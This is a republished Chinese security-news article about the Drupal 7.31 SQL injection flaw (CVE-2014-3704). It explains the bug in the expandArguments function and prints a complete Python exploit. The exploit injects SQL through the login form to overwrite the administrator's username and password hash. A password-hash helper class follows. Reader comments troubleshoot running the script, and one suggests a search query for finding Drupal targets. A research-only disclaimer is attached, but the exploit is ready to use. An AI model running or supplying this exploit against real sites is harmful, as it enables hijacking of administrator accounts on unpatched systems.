CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

drupal7

2017年5月24日 940点热度 0人点赞 0条评论

drupal7

  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

Drupal 7.31 SQL注入漏洞(CVE-2014-3704) EXP测试代码

午夜灰狼哥2014-10-19+6共214351人围观 ,发现 18 个不明物体漏洞

最近频繁爆发各种0day,真是把大家累坏了。Drupal 7.31 SQL注入漏洞(CVE-2014-3704)就是其中一个,该漏洞利用测试方法“简单粗暴”,受到安全研究者们的青睐。

Drupal Sql注入漏洞原理是酱紫的,Drupal在处理IN语句的时候,要通过expandArguments函数来展开数组。由于expandArguments函数没有对当前数组中key值进行有效的过滤,给攻击者可乘之机。攻击者通过精心构造的SQL语句可以执行任意PHP代码。

expandArguments函数如下

protected function expandArguments(&$query, &$args) {
  $modified = FALSE;
 
  // If the placeholder value to insert is an array, assume that we need
  // to expand it out into a comma-delimited set of placeholders.
  foreach (array_filter($args, 'is_array') as $key => $data) {
    $new_keys = array();
    foreach ($data as $i => $value) {
      // This assumes that there are no other placeholders that use the same
      // name.  For example, if the array placeholder is defined as :example
      // and there is already an :example_2 placeholder, this will generate
      // a duplicate key.  We do not account for that as the calling code
      // is already broken if that happens.
      $new_keys[$key . '_' . $i] = $value;
    }
 
    // Update the query with the new placeholders.
    // preg_replace is necessary to ensure the replacement does not affect
    // placeholders that start with the same exact text. For example, if the
    // query contains the placeholders :foo and :foobar, and :foo has an
    // array of values, using str_replace would affect both placeholders,
    // but using the following preg_replace would only affect :foo because
    // it is followed by a non-word character.
    $query = preg_replace('#' . $key . 'b#', implode(', ', array_keys($new_keys)), $query);
 
    // Update the args array with the new placeholders.
    unset($args[$key]);
    $args += $new_keys;
 
    $modified = TRUE;
  }
 
  return $modified;
}

为了方便大家测试直接上干货(EXP含有攻击性,仅供安全研究和教学,禁止非法使用)

import urllib2,sys
from drupalpass import DrupalHash 
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)
import hashlib

# Calculate a non-truncated Drupal 7 compatible password hash.
# The consumer of these hashes must truncate correctly.

class DrupalHash:

  def __init__(self, stored_hash, password):
    self.itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    self.last_hash = self.rehash(stored_hash, password)

  def get_hash(self):
    return self.last_hash

  def password_get_count_log2(self, setting):
    return self.itoa64.index(setting[3])

  def password_crypt(self, algo, password, setting):
    setting = setting[0:12]
    if setting[0] != '$' or setting[2] != '$':
      return False

    count_log2 = self.password_get_count_log2(setting)
    salt = setting[4:12]
    if len(salt) < 8:
      return False
    count = 1 << count_log2

    if algo == 'md5':
      hash_func = hashlib.md5
    elif algo == 'sha512':
      hash_func = hashlib.sha512
    else:
      return False
    hash_str = hash_func(salt + password).digest()
    for c in range(count):
      hash_str = hash_func(hash_str + password).digest()
    output = setting + self.custom64(hash_str)
    return output

  def custom64(self, string, count = 0):
    if count == 0:
      count = len(string)
    output = ''
    i = 0
    itoa64 = self.itoa64
    while 1:
      value = ord(string[i])
      i += 1
      output += itoa64[value & 0x3f]
      if i < count:
        value |= ord(string[i]) << 8
      output += itoa64[(value >> 6) & 0x3f]
      if i >= count:
        break
      i += 1
      if i < count:
        value |= ord(string[i]) << 16
      output += itoa64[(value >> 12) & 0x3f]
      if i >= count:
        break
      i += 1
      output += itoa64[(value >> 18) & 0x3f]
      if i >= count:
        break
    return output

  def rehash(self, stored_hash, password):
    # Drupal 6 compatibility
    if len(stored_hash) == 32 and stored_hash.find('$') == -1:
      return hashlib.md5(password).hexdigest()
      # Drupal 7
    if stored_hash[0:2] == 'U$':
      stored_hash = stored_hash[1:]
      password = hashlib.md5(password).hexdigest()
    hash_type = stored_hash[0:3]
    if hash_type == '$S$':
      hash_str = self.password_crypt('sha512', password, stored_hash)
    elif hash_type == '$H$' or hash_type == '$P$':
      hash_str = self.password_crypt('md5', password, stored_hash)
    else:
      hash_str = False
    return hash_str

测试效果如图

午夜灰狼哥

午夜灰狼哥6 篇文章等级: 4级
|
|
  • 上一篇:快讯:Drupal 7.31版本爆严重SQL注入漏洞
  • 下一篇:Win64bit提权0day漏洞(CVE-2014-4113)只是内核模式漏洞的开始

这些评论亮了

  • Master(3级)回复
    Nice
    )6(亮了
发表评论

已有 18 条评论

  • Master (3级) 2014-10-19回复1楼

    Nice

    亮了(6)
  • 10000 2014-10-19回复2楼

    为了方便大家测试直接上干货(EXP含有攻击性,仅供安全研究和教学,禁止非法使用)

    亮了(3)
  • sigh 2014-10-19回复3楼

    google duck: inurl: drupal
    don’t thank me, just call me lighting wind.

    亮了(4)
  • 许三金Xu3kim 2014-10-19回复4楼

    转发微博

    亮了(2)
  • kotzu 2014-10-19回复5楼

    [傻眼]

    亮了(2)
  • 溪松刘 2014-10-19回复6楼

    亮了(0)
  • 27z 2014-10-20回复7楼

    lighting wind 亮了。

    亮了(0)
  • 午夜灰狼哥 (4级) 2014-10-20回复8楼

    don’t thank me, just call me lighting wind.

    亮了(2)
  • taylorwin (5级) 2014-10-20回复9楼

    python 又亮了

    亮了(0)
  • jkjkj 2014-10-20回复10楼

    用的是python几啊?直接运行有错

    亮了(0)
  • jkjkj 2014-10-20回复11楼

    用python 3.3 运行 报 line 7
    print "host username password"
    SyntaxError: invalid syntax

    亮了(2)
    • on the line 2014-10-23回复

      @jkjkj 这个是因为python 3的print函数要求加括号,改成print ("host username password")就可以了

      亮了(0)
  • freebuf1 (1级) 2014-10-20回复12楼

    是都被搞光了吗?怎么测试一个成功的都没有?

    亮了(0)
  • Sevsea 2014-10-20回复13楼

    转发微博

    亮了(0)
  • on the line 2014-10-23回复14楼

    中间这一行老是有错误+"’+where+uid+%3d+\’1\’;;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
    报的是TypeError bool’ object is not subscriptable
    没搞明白,是因为这串代码中含有一些与python冲突的关键字吗???
    求大神指教

    亮了(0)
  • IversOn5 2014-10-26回复15楼

    话说还不知道怎么利用呢,直接txt然后改成1.py 然后Python 1.py??求解答啊。。。

    亮了(0)
  • 大夫 (3级) 2014-11-03回复16楼

    没玩过python,求教哇

    亮了(0)
  • 2 2016-01-08回复17楼

    from drupalpass import DrupalHash
    pip install drupalpass 不存在,这个包叫什么

    亮了(3)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

午夜灰狼哥

午夜灰狼哥

这家伙太懒,还未填写个人描述!

6 篇文章23 条评论

相关阅读

  • Windows媒体中心的漏洞分析与利用
  • LastPass密码管理器再曝严重漏洞,基于浏览器的密码管理器还能用吗?
  • 安卓智能电视:恶意应用的新战场
  • 研究人员发现绝大部分酷派(Coolpad)手机暗藏后门
  • WordPress 4.0以下版本存在跨站脚本漏洞

特别推荐

关注我们 分享每日精选文章

不容错过

  • 京东官方声明回应50亿条公民信息泄漏传言lr3800_2017-03-12
  • 英国情报机构GCHQ拟在英国设立国家防火墙米雪儿2016-09-25
  • 那个“天使”阿桑奇又回来了明明知道2015-06-26
  • 2015年夏季国内外重磅黑客峰会参会指南明明知道2015-06-18

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0daybank

标签: 暂无
最后更新:2017年5月24日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me